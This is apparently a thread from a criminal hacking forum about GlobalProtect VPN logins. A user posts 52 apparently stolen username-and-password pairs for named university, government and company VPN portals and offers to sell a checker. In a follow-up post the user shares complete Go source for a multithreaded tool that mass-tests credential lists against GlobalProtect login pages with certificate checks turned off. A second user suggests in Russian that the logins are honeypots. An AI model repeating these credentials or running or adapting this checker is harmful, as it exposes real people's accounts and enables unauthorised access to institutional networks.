global protect vpn logs checker

Str0ng · 21.09.2024

Hello everyone, here I will leave you a list of valid credentials for Global-Protect VPN, I checked them with my private checker, it only checks that the credentials are valid, not the network hosts, if anyone is interested in the code or buying it send a pm

Код:

[*] total valid logins found 52
[+] https://vpn.ftpo.eu/global-protect/login.esp | lovro.anderlic@ftpo.si | Quf55534
[+] https://vpn.nu.edu.kz/global-protect/login.esp | m_ochilov | vpn2021ochilov
[+] https://vpn.ntut.edu.tw/global-protect/login.esp | 112590044 | @Qaz12365
[+] https://vpn.odu.edu.tr/global-protect/login.esp | 20330100003@ogrenci.odu.edu.tr | Yakup1504?
[+] https://vpn.ulb.ac.be/global-protect/login.esp | dtorresm | Cobrefosfuro_29
[+] https://vpn.inacsa.com.co/global-protect/login.esp | achirivib | Americana90
[+] https://vpn.zewailcity.edu.eg/global-protect/login.esp | 202201888 | QQRRSSYYWWRR-2003
[+] https://vpn.uqu.edu.sa/global-protect/login.esp | ahfireah | @Soul1396
[+] https://vpn.harran.edu.tr/global-protect/login.esp | dakaslan | Leuko1992
[+] https://vpn.hs-bochum.de/global-protect/login.esp | e16g06593 | fnxfnx385
[+] https://vpn.tedu.edu.tr/global-protect/login.esp | ozgur.ozertural | hjPGW81d
[+] https://vpn.zewailcity.edu.eg/global-protect/login.esp | 201700988 | SYt9fK8dJNSc
[+] https://vpn.lamolina.edu.pe/global-protect/login.esp | hbermudez | OCA&72712327
[+] https://vpn.riverserv.com/global-protect/login.esp | vpn14 | q*TD97u9
[+] https://ravpn.hlc.ly/global-protect/login.esp | i.aburass | d1g1t@lk
[+] https://vpn.alj.com/global-protect/login.esp | babgi | B!@34567b
[+] https://vpn.zewailcity.edu.eg/global-protect/login.esp | yelkholy | Ye111444
[+] https://vpn.zewailcity.edu.eg/global-protect/login.esp | 202300978 | st@ZC23-4210
[+] https://dcvpn.rsu.ac.th/global-protect/login.esp | rsuclinic | rsu@41392
[+] https://vpn.unpar.ac.id/global-protect/login.esp | 6111901183@student.unpar.ac.id | nabilazhar1
[+] https://vpn.iitp.ac.in/global-protect/login.esp | rajeev_1901ce38 | 7627066848
[+] https://vpn-portal.upm.edu.ph/global-protect/login.esp | BUMARIANO | bB5Ei
[+] https://vpn-portal.upm.edu.ph/global-protect/login.esp | liquiacos | dHENNEZe.qUIACOs_21
[+] https://stellantis-dealernet.gpcloudservice.com/global-protect/login.esp | gpdownload | sH5uHU5NcE
[+] https://vpn-perimetral.appminsal.cl/global-protect/login.esp | 0000902521-109_INT_16534120-1 | GAs88f.QUenD
[+] https://vpnhome.go.ro/global-protect/login.esp | ionuttepelus | I0nu!R0cks!#
[+] https://erisim.igdir.edu.tr/global-protect/login.esp | gokhan.turan | Gt2323
[+] https://gp.dswd.gov.ph/global-protect/login.esp | rpadayhag | dswdfo9
[+] https://gp.bp2mi.go.id/global-protect/login.esp | pp_asaf | 123@Bp2mi
[+] https://vpn-perimetral.appminsal.cl/global-protect/login.esp | 0001103925-100_EXT_17262520-7 | B6r2Q6YAgiJ5T
[+] https://vpnpa.unal.edu.co/global-protect/login.esp | mtrompa | S4nt14g02020
[+] https://gp.dswd.gov.ph/global-protect/login.esp | mmcorvera | 16-12673
[+] https://gp.duytan.edu.vn/global-protect/login.esp | nguyentbichhanh | 18041982hanh
[+] https://dc.danareksa.com/global-protect/login.esp | kima-admin | K1M4admin!!
[+] https://teletrabalho.df.gov.br/global-protect/login.esp | 55216933648@saude.df.gov.br | Qq!1ww@2
[+] https://gp.dswd.gov.ph/global-protect/login.esp | megatillo | 16-09949
[+] https://hyperion.pj.gob.pe/global-protect/login.esp | agironl | 120590
[+] https://vpn-portal.upm.edu.ph/global-protect/login.esp | jtcacho | miyerkulitz1910
[+] https://vpnjr.jasaraharja.co.id/global-protect/login.esp | Aldi.kartawira | Qwerty123#
[+] https://globalprotect.primehealth.ae/global-protect/login.esp | Paracosys | P3@a$ys@Prim3
[+] https://187.189.119.170/global-protect/login.esp | samuel-avila | giotex2024
[+] https://gp.kln.ac.lk/global-protect/login.esp | hansikad-cm18056 | 19981202
[+] https://113.160.245.25/global-protect/login.esp | bachkhoa | B@chkh0a.2o19@!395$#
[+] https://vpn-medellin.upb.edu.co/global-protect/login.esp | antorami | r37RqP9YwEpJkJN8NdFh
[+] https://vpn-portal.upm.edu.ph/global-protect/login.esp | rdparas1 | 10086258
[+] https://115.124.102.62/global-protect/login.esp | Prabhakar_DSA | 72EN99R23J
[+] https://globalprotect.jabarprov.go.id/global-protect/login.esp | kabindramayu-heru | D;S=9ngBEx]"_=\3D=
[+] https://vpn.univates.br/global-protect/login.esp | bruno.borja | M3btY!bM6cK4fNn
[+] https://103.89.48.82/global-protect/login.esp | EID_0427 | Nc3uoEqV
[+] https://sslvpn.asbu.edu.tr/global-protect/login.esp | 225429003 | EV959*vij
[+] https://gp.duytan.edu.vn/global-protect/login.esp | dtu\nguyenthongha | 4121962
[+] https://vnet.vajira.ac.th/global-protect/login.esp | jaruwan-boo | Jb@1369031969
[+] https://vpn.giresun.edu.tr/global-protect/login.esp | yasin.kurul | Yk030910.

meiiion · 21.09.2024

Молодец, Кребс, хорошая тактика выложить доступы к ханипотам и пособирать инфу о пентестерах.

Str0ng · 22.09.2024

I'm not a researcher if that's what you mean, here's the code for whoever wants it. ( GOLANG CODE )

Код:

package main

import (
    "os"
    "fmt"
    "log"
    "time"
    "net/http"
    "net/url"
    "strings"
    "bufio"
    "sync"
    "strconv"
    "crypto/tls"
    "io/ioutil"
    "github.com/fatih/color"
)

type Vpn struct {
     Url string
     Username string
     Password string
}

var (
     chanel = make(chan Vpn)
     thread = sync.WaitGroup{}
     valid_logs = 0
     foundLogs = []string{}
)

/*   get url protocol */
func GetProtcolByUrl(Url string) string {
     if strings.Contains(Url, "https://") {
        return "https:"
     } else if strings.Contains(Url, "http://") {
        return "http:"
     }
     return "https:"
}

/*   get server domain from url */
func GetDomainByUrl(Url string) string {
     Domain := strings.ReplaceAll(Url, "https://", "")
     Domain = strings.ReplaceAll(Domain, "http://", "")
     Domain = strings.ReplaceAll(Domain, "/global-protect/login.esp", "")
     Domain = strings.ReplaceAll(Domain, "//", "")

     return Domain
}

/*   get origianl protocol url */
func GetOriginalProtocol(Url string) string {
     if strings.Contains(Url, "https:") {
        return "https://"
     }
     return "http://"
}

func PrintBlue(Data string) {
     c := color.New(color.FgBlue)
     c.Print("[*] ")
     fmt.Println(Data)
}

func PrintRed(Data string) {
     c := color.New(color.FgRed).Add(color.Bold)
     c.Print("[!] ")
     fmt.Println(Data)
}

func PrintGreen(Data string) {
     c := color.New(color.FgGreen).Add(color.Bold)
     c.Print("[+] ")
     fmt.Println(Data)
}

/*   global protect valid login checker */
func LoginCheck(endpoint string, username string, password string) {
 
     PrintBlue("checking domain vpn " + GetDomainByUrl(endpoint))
     /* post data to send to the global-protect vpn endpoit */
     data := url.Values{
         "prot":{GetProtcolByUrl(endpoint)},
         "server":{GetDomainByUrl(endpoint)},
         "inputStr":{""},
         "action":{"getsoftware"},
         "user":{username},
         "passwd":{password},
         "new-passwd":{""},
         "confirm-new-passwd":{""},
         "ok":{"Log In"},
    }

    /* ignore ssl tls config certificate invalid */
    tls_config := &tls.Config{InsecureSkipVerify: true}
    tls_transport := &http.Transport{TLSClientConfig: tls_config}
    client := &http.Client{Transport: tls_transport, Timeout: 10 * time.Second}

    /* send post request to the global-protect vpn server */
    resp, err := client.Post(endpoint, "application/x-www-form-urlencoded", strings.NewReader(data.Encode()),)

    if err != nil {
       //log.Println("login error: " + err.Error())
       return
    }

    defer resp.Body.Close()
    responseContent, responseContentError := ioutil.ReadAll(resp.Body)
    if responseContentError != nil {
       //fmt.Println(responseContentError.Error())
       return
    }
    stringBody := string(responseContent)

    /* check redirect script for valid login ok */
    if strings.Contains(stringBody, "<script>window.location=\"/global-protect/getsoftwarepage.esp?user=") {
       valid_logs += 1
       log := endpoint + " | " + username + " | " + password
       foundLogs = append(foundLogs, log)
       PrintGreen("valid login " + log)
       return
    }
    //fmt.Println("[!] login error " + endpoint)
}

/*   login checker worker */
func Worker() {
     defer thread.Done()
     for {
        Creds := <- chanel
        switch Creds.Url {
               case "exit":
                    return
                default:
                    LoginCheck(Creds.Url, Creds.Username, Creds.Password)
        }
     }
}

/*   start all workers */
func StartWorkers() {
     for x:=0;x<=60;x++ {
         thread.Add(1)
         go Worker()
         WorkerWait()
     }
}

/*   wait worker to end */
func WorkerWait() {
     time.Sleep(time.Millisecond * 10)
}

/*   stop all workers */
func StopWorkers() {
     EndObject := Vpn{"exit", "", ""}
     for x:=0;x<=60;x++ {
         thread.Add(1)
         chanel <- EndObject
     }
}

func SetupCheck() {
     defer thread.Done()
     file,fileError := os.Open("list.txt")

     if fileError != nil {
        log.Fatalf("error reading file: %s", fileError)
     }
     defer file.Close()
     scanner := bufio.NewScanner(file)

     StartWorkers()

     for scanner.Scan() {
         x := scanner.Text()
         op := GetOriginalProtocol(x)
         xx := strings.ReplaceAll(x, "https://", "")
         xx = strings.ReplaceAll(xx, "https://", "")
         xx = strings.ReplaceAll(xx, "https//", "")
         xx = strings.ReplaceAll(xx, "http//", "")

         ArrayData := strings.Split(xx, ":")
         if len(ArrayData)  <= 2 {
            continue
         } else {
            LoginObject := Vpn{op + ArrayData[0], ArrayData[1], ArrayData[2]}
            chanel <- LoginObject
         }
     }

     PrintBlue("total valid logins found " + strconv.Itoa(valid_logs))
     for _,log := range foundLogs {
         PrintGreen(log)
     }
     StopWorkers()
     return
}

func main() {
     thread.Add(1)
     go SetupCheck()
     WorkerWait()
     thread.Wait()
}

meiiion · 22.09.2024

КРебс, при чем тут твой код чекера, говорилось за доступы ханипоты а не твой чекер))

global protect vpn logs checker

В этой теме можно использовать автоматический гарант!

Str0ng

(L3) cache

meiiion

CD-диск

Str0ng

(L3) cache

meiiion

CD-диск